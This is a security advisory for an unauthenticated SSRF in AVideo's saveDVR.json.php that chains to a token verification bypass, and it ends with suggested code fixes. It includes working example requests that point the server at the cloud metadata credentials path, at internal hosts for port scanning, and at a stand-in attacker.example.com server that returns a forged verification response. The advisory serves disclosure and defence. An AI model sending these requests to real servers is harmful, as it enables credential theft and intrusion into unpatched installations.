GHSA-5f7v-4f6g-74rj AVideo has Unauthenticated SSRF via `webSiteRootURL` Parameter in saveDVR.json.php, Chaining to Verification Bypass

• Packagist wwbn/avideo: <= 26.0 (no fix yet)

Summary A Server-Side Request Forgery (SSRF) vulnerability exists in `plugin/Live/standAloneFiles/saveDVR.json.php`. When the AVideo Live plugin is deployed in standalone mode (the intended configuration for this file), the `$_REQUEST['webSiteRootURL']` parameter is used directly to construct a URL that is fetched server-side via `file_get_contents()`. No authentication, origin validation, or URL allowlisting is performed. Affected Component File: `plugin/Live/standAloneFiles/saveDVR.json.php`, lines 5-28 ```php $streamerURL = ""; // change it to your streamer URL $configFile = '../../../videos/configuration.php'; if (file_exists($configFile)) { include_once $configFile; $streamerURL = $global['webSiteRootURL']; } if (empty($streamerURL) && !empty($_REQUEST['webSiteRootURL'])) { $streamerURL = $_REQUEST['webSiteRootURL']; // ATTACKER-CONTROLLED } // ... $verifyURL = "{$streamerURL}plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php?saveDVR={$_REQUEST['saveDVR']}"; $result = file_get_contents($verifyURL); // SSRF ``` Root Cause 1. User-controlled URL base: When the configuration file does not exist (standalone deployment), `$streamerURL` is set directly from `$_REQUEST['webSiteRootURL']` with no validation. 2. No URL allowlisting or scheme restriction: The value is used as-is in a `file_get_contents()` call. There is no check for `http`/`https` scheme only, no private IP blocking, and no domain allowlist. 3. Verification bypass by design: The token verification URL is constructed using the attacker-controlled base URL. The attacker can point it to their own server, which returns a JSON response that passes all validation checks, effectively bypassing authentication. Exploitation Part 1: Basic SSRF (Internal Network Access) ``` POST /plugin/Live/standAloneFiles/saveDVR.json.php Content-Type: application/x-www-form-urlencoded webSiteRootURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/&saveDVR=anything ``` The server fetches: ``` http://169.254.169.254/latest/meta-data/iam/security-credentials/plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php?saveDVR=anything ``` While the appended path may cause a 404 on the metadata service, the attacker can also use this for: • Internal port scanning: `webSiteRootURL=http://192.168.1.X:PORT/` — differentiate open/closed ports by response time and error messages. • Internal service access: `webSiteRootURL=http://internal-service/` — reach services behind the firewall. • Cloud metadata access: With URL path manipulation or by hosting a redirect on the attacker server. Part 2: Verification Bypass + Downstream Command Execution Chain This is the more severe attack chain: 1. The attacker sets up a server at `https://attacker.example.com/` with the path: ``` /plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php ``` That returns: ```json {"error": false, "response": {"key": "attacker_controlled_value"}} ``` 2. The attacker sends: ``` POST /plugin/Live/standAloneFiles/saveDVR.json.php webSiteRootURL=https://attacker.example.com/&saveDVR=anything ``` 3. The server fetches the verification URL from the attacker's server, receives the forged valid response, and proceeds to process it. 4. The `key` value from the response flows into shell commands: • Line 55: `$DVRFile = "{$hls_path}{$key}";` — used in `exec()` at line 80 (though `escapeshellarg()` is applied to the path components) • Line 72: `$DVRFileTarget = "{$tmpDVRDir}" . DIRECTORY_SEPARATOR . "{$key}.m3u8";` — used without `escapeshellarg()` in: • Line 119: `exec("echo \"{$endLine}\" >> {$DVRFileTarget}");` • Line 157: `exec("ffmpeg -i {$DVRFileTarget} -c copy -bsf:a aac_adtstoasc {$filename} -y");` • Line 167: `exec("rm -R {$tmpDVRDir}");` The `$key` is sanitized at line 47 with `preg_replace("/[^0-9a-z_:-]/i", "", $key)`, which limits characters to alphanumerics, underscores, colons, and hyphens. This blocks most command injection payloads. However: • The SSRF itself (Part 1) is independently exploitable regardless of the downstream chain. • The verification bypass grants the attacker control over the processing flow even if direct OS command injection is constrained by the regex. • The colon character (`:`) is allowed by the regex and has special meaning in some shell contexts and FFmpeg input specifiers. Impact • SSRF: The server can be used as a proxy to scan and access internal network resources, cloud metadata endpoints, and other services not intended to be publicly accessible. • Authentication Bypass: The DVR token verification is completely bypassed by redirecting the check to an attacker-controlled server. • Potential Command Execution: While the regex on `$key` limits direct shell injection, the attacker gains control over file paths and FFmpeg input specifiers, which could be leveraged for further exploitation depending on the environment. • Information Disclosure: Error messages at lines 31-32 reflect the fetched URL and its content, potentially leaking information about internal infrastructure. Suggested Fix 1. Remove the user-controlled `webSiteRootURL` fallback entirely. Require `$streamerURL` to be configured in the file or via the configuration file. If a fallback is necessary, validate it against a strict allowlist: ```php // Remove this block: // if (empty($streamerURL) && !empty($_REQUEST['webSiteRootURL'])) { // $streamerURL = $_REQUEST['webSiteRootURL']; // } // If $streamerURL is still empty, abort: if (empty($streamerURL)) { error_log("saveDVR: streamerURL is not configured"); die('saveDVR: Server not configured'); } ``` 2. If the parameter must remain for backward compatibility, validate it: ```php if (empty($streamerURL) && !empty($_REQUEST['webSiteRootURL'])) { $url = filter_var($_REQUEST['webSiteRootURL'], FILTER_VALIDATE_URL); if ($url && preg_match('/^https?:\/\//i', $url)) { // Resolve hostname and block private/reserved IPs $host = parse_url($url, PHP_URL_HOST); $ip = gethostbyname($host); if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) { die('saveDVR: Invalid URL'); } $streamerURL = $url; } } ``` 3. Apply `escapeshellarg()` to all variables used in `exec()` calls, including `$DVRFileTarget` at lines 119, 157, and `$tmpDVRDir` at line 167.